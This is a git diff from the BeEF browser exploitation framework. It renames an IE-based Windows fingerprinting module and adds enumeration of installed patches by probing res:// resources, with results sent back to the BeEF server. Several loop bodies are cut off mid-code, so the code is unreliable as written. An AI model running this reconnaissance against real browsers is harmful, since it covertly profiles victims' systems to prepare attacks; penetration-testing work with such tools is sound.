diff --git a/modules/host/fingerprint_os/command.js b/modules/host/fingerprint_os/command.js new file mode 100644 index 000000000..8cb90d513 --- /dev/null +++ b/modules/host/fingerprint_os/command.js @@ -0,0 +1,81 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var os_version = new Array; + var installed_patches = new Array; + var dom = document.createElement('b'); + + Array.prototype.unique = function() { + var o = {}, i, l = this.length, r = []; + for(i=0; i", <%= @command_id %>, "windows_nt_version="+os_version.unique()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_patches=" +installed_patches.unique()); + document.body.removeChild(dom); + }; + + // OS fingerprints // in the form of: "URI","NT version(s)" + var fingerprints = new Array( + new Array("5.1+","res://IpsmSnap.dll/wlcm.bmp"), + new Array("5.1+","res://wmploc.dll/257/album_0.png"), + new Array("5.1-6.0","res://wmploc.dll/23/images\amg-logo.gif"), + new Array("5.1-6.1","res://wmploc.dll/wmcomlogo.jpg"), + new Array("6.0+","res://wdc.dll/error.gif") + ); + + for (var i=0; i
Enumerating patches requires service pack uninstall files on the host.

Tested with IE8 on WinXP SP3." authors: ["bcoles"] target: - working: IE - not_working: ALL + working: ["IE"] + not_working: ["ALL"] diff --git a/modules/host/os_fingerprinting/module.rb b/modules/host/fingerprint_os/module.rb similarity index 72% rename from modules/host/os_fingerprinting/module.rb rename to modules/host/fingerprint_os/module.rb index f960b8a9a..8222ef16d 100644 --- a/modules/host/os_fingerprinting/module.rb +++ b/modules/host/fingerprint_os/module.rb @@ -3,14 +3,13 @@ # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # -# Uses methods described here: -# http://www.itsecuritysolutions.org/2010-03-29_fingerprinting_browsers_using_protocol_handlers/ -class Os_fingerprinting < BeEF::Core::Command +class Fingerprint_os < BeEF::Core::Command def post_execute content = {} content['windows_nt_version'] = @datastore['windows_nt_version'] if not @datastore['windows_nt_version'].nil? + content['installed_patches'] = @datastore['installed_patches'] if not @datastore['installed_patches'].nil? if content.empty? content['fail'] = 'Failed to fingerprint Windows version.' end diff --git a/modules/host/os_fingerprinting/command.js b/modules/host/os_fingerprinting/command.js deleted file mode 100644 index 78bba58c8..000000000 --- a/modules/host/os_fingerprinting/command.js +++ /dev/null @@ -1,44 +0,0 @@ -// -// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net -// Browser Exploitation Framework (BeEF) - http://beefproject.com -// See the file 'doc/COPYING' for copying permission -// - -beef.execute(function() { - - var os_version = new Array; - var dom = document.createElement('b'); - - Array.prototype.unique = function() { - var o = {}, i, l = this.length, r = []; - for(i=0; i", <%= @command_id %>, "windows_nt_version="+os_version.unique()); - }; - - // OS fingerprints // in the form of: "URI","NT version(s)" - var fingerprints = new Array( - new Array("5.1+","res://IpsmSnap.dll/wlcm.bmp"), - new Array("5.1+","res://wmploc.dll/257/album_0.png"), - new Array("5.1-6.0","res://wmploc.dll/23/images\amg-logo.gif"), - new Array("5.1-6.1","res://wmploc.dll/wmcomlogo.jpg"), - new Array("6.0+","res://wdc.dll/error.gif") - ); - - for (var i=0; i